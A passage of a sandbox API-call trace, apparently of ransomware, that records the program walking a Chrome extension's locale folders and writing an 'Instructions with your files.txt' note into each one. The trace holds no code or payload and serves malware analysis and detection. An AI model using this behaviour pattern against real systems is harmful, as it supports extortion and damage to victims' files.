[0128.835] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*") returned 143
[0128.835] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.836] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\.") returned 143
[0128.836] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.836] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\..") returned 144
[0128.836] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.836] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\messages.json") returned 155
[0128.836] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.836] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857e35d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x112, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.836] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\Instructions with your files.txt") returned 174
[0128.836] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.837] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.838] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.838] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.838] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.838] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.838] CloseHandle (hObject=0x134) returned 1
[0128.838] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.838] GetProcessHeap () returned 0x810000
[0128.838] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.838] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_GB", cAlternateFileName="")) returned 1
[0128.838] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB") returned 144
[0128.838] GetProcessHeap () returned 0x810000
[0128.838] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.838] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*") returned 146
[0128.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.839] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\.") returned 146
[0128.839] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.839] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\..") returned 147
[0128.839] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.839] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\messages.json") returned 158
[0128.839] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.839] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.839] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\Instructions with your files.txt") returned 177
[0128.840] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_gb\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.840] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.841] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.841] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.841] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.841] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.841] CloseHandle (hObject=0x134) returned 1
[0128.841] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.841] GetProcessHeap () returned 0x810000
[0128.841] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.841] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en_US", cAlternateFileName="")) returned 1
[0128.841] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US") returned 144
[0128.841] GetProcessHeap () returned 0x810000
[0128.841] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.841] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*") returned 146
[0128.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.842] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\.") returned 146
[0128.842] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.842] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\..") returned 147
[0128.843] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.843] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\messages.json") returned 158
[0128.843] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.843] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.843] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\Instructions with your files.txt") returned 177
[0128.843] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0128.843] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0128.844] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0128.844] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0128.844] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0128.844] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0128.844] CloseHandle (hObject=0x134) returned 1
[0128.844] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0128.844] GetProcessHeap () returned 0x810000
[0128.844] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f2068 | out: hHeap=0x810000) returned 1
[0128.844] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
[0128.844] wnsprintfW (in: pszDest=0x22e1058, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es") returned 141
[0128.844] GetProcessHeap () returned 0x810000
[0128.845] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f2068
[0128.845] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*") returned 143
[0128.845] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0128.845] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\.") returned 143
[0128.846] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.846] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\..") returned 144
[0128.846] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0128.846] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\messages.json") returned 155
[0128.846] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0128.846] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859abe80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdf, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0128.846] wnsprintfW (in: pszDest=0x22f2068, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\Instructions with your files.txt") returned 174
